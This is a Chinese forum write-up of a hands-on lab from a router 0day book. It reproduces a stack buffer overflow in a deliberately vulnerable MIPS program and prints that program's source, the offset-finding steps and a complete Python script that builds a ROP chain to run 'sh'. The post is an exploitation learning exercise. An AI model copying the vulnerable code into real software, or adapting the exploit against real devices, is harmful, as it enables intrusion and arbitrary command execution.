前言
最近在看《揭秘家用路由器0day漏洞挖掘技术》这本书,学习最重要的还是要动手,所以根据所学对漏洞进行复现和利用,并记录自己在这过程中遇到的问题。
环境
系统:Ubuntu 16.04
工具:IDA、QEMU
配置好mips交叉编译环境
漏洞源码
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
void do_system(int code,char *cmd)
{
char buf[255];
//sleep(1);
system(cmd);
}
int main()
{
char buf[256]={0};
char ch;
int count = 0;
unsigned int fileLen = 0;
struct stat fileData;
FILE *fp;
if(0 == stat("passwd",&fileData))
fileLen = fileData.st_size;
else
return 1;
if((fp = fopen("passwd","rb")) == NULL)
{
printf("Cannot open file passwd!\n");
exit(1);
}
ch=fgetc(fp);
while(count <= fileLen)
{
buf[count++] = ch;
ch = fgetc(fp);
}
buf[--count] = '\x00';
if(!strcmp(buf,"adminpwd"))
{
do_system(count,"ls -l");
}
else
{
printf("you have an invalid password!\n");
}
fclose(fp);
return 0;
}
这是书中案例带的源码,代码功能很简单,从passwd
文件中读取密码,密码为adminpwd
时密码正确,执行ls -l
命令,密码不对时,打印you have an invalid password!
。
但是我们可以发现,在读取密码向buf中赋值时,没有控制buf可以赋值的最大长度,所以会可以产生缓冲区溢出。
编译程序
在编译程序时,我最开始选择使用mips-linux-gnu-gcc -static vuln_system.c -o vuln_system
命令进行编译,但是很不幸,这么编译的程序在IDA动态调试的时候产生异常
对此,问了几个老哥,也没找到解决的办法,只能在Ubuntu下配置mips的交叉编译环境
配置好环境,编译程序,能正常动态调试使用
新建passwd
文件,输入正确的密码adminpwd
,程序会调用ls -l
命令,如下图
输入错误的密码
测试漏洞
在passwd
文件中写入600个字符A,运行程序,发现程序崩溃。
为了确定异常偏移,使用大型有序字符进行测试,我这里为了方便使用的是随书自带的脚本生成字符
用IDA动态调试程序
可以看到有序字符已经淹没返回地址RA
RA当前值是0x6E37416E,转成字符串是n7An
通过字符串找偏移是412(0x19C)
为了确定找到的偏移是否准确,利用python生成如下字符串
python -c "print 'A'*412 + 'BBBB'" > passwd
继续动态调试,发现RA崩溃在0x42424242,说明偏移找的是对的
漏洞利用
在这里使用命令执行的方式利用漏洞,在程序中有一个函数是do_system。从代码上看,do_system函数只能执行ls -l
命令,但是对此进行有效的利用,就能达到任意命令的执行。
对此,我们需要找到一块能构造函数溢出并能返回的中间代码块。通过溢出漏洞调用do_system函数,让do_system函数能够执行任意命令。想要构造ROP chain,首先需要构造do-system函数的参数。虽然do-system有两个参数,但实际使用的只有第二个参数。根据mips程序的传参方式,我们知道第二个参数使用$a1进行传递,所以只要将$a1传入命令字符串地址即可。
利用IDA的python脚本插件mipsrop.py搜索构造合适的ROP chain
通过搜索,得到了一个可以构造的地址0x401F80
通过查看地址上图可知,这两句汇编可以化简为
addiu $a1,$sp,0x18
lw $ra,0x54
通过如上,可以简单进行构造passwd文件,在0x19C处填入地址0x401F80,再过0x18偏移处填入命令字符串,然后再过0x54处调用do_system函数(0x400370)
根据上面描述,使用python脚本进行构造
#!/usr/bin/env python
import struct
print '[*] prepare shellcode',
cmd = "sh"
cmd += "\x00"*(4 - (len(cmd) % 4))
#shellcode
shellcode = "A"*0x19C
shellcode += struct.pack(">L",0x00401F80)
shellcode += "A"*24
shellcode += cmd
shellcode += "B"*(0x3C - len(cmd))
shellcode += struct.pack(">L",0x00400370)
shellcode += "BBBB"
print ' ok!'
#create password file
print '[+] create password file',
fw = open('passwd','w')
fw.write(shellcode)
fw.close()
print ' ok!'
生成passwd文件后,执行程序
可以看到,已经成功利用,能够执行任意命令。
至此,mips程序缓存区溢出漏洞利用完毕。
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2019-8-21 21:36
被Iam0x17编辑
,原因: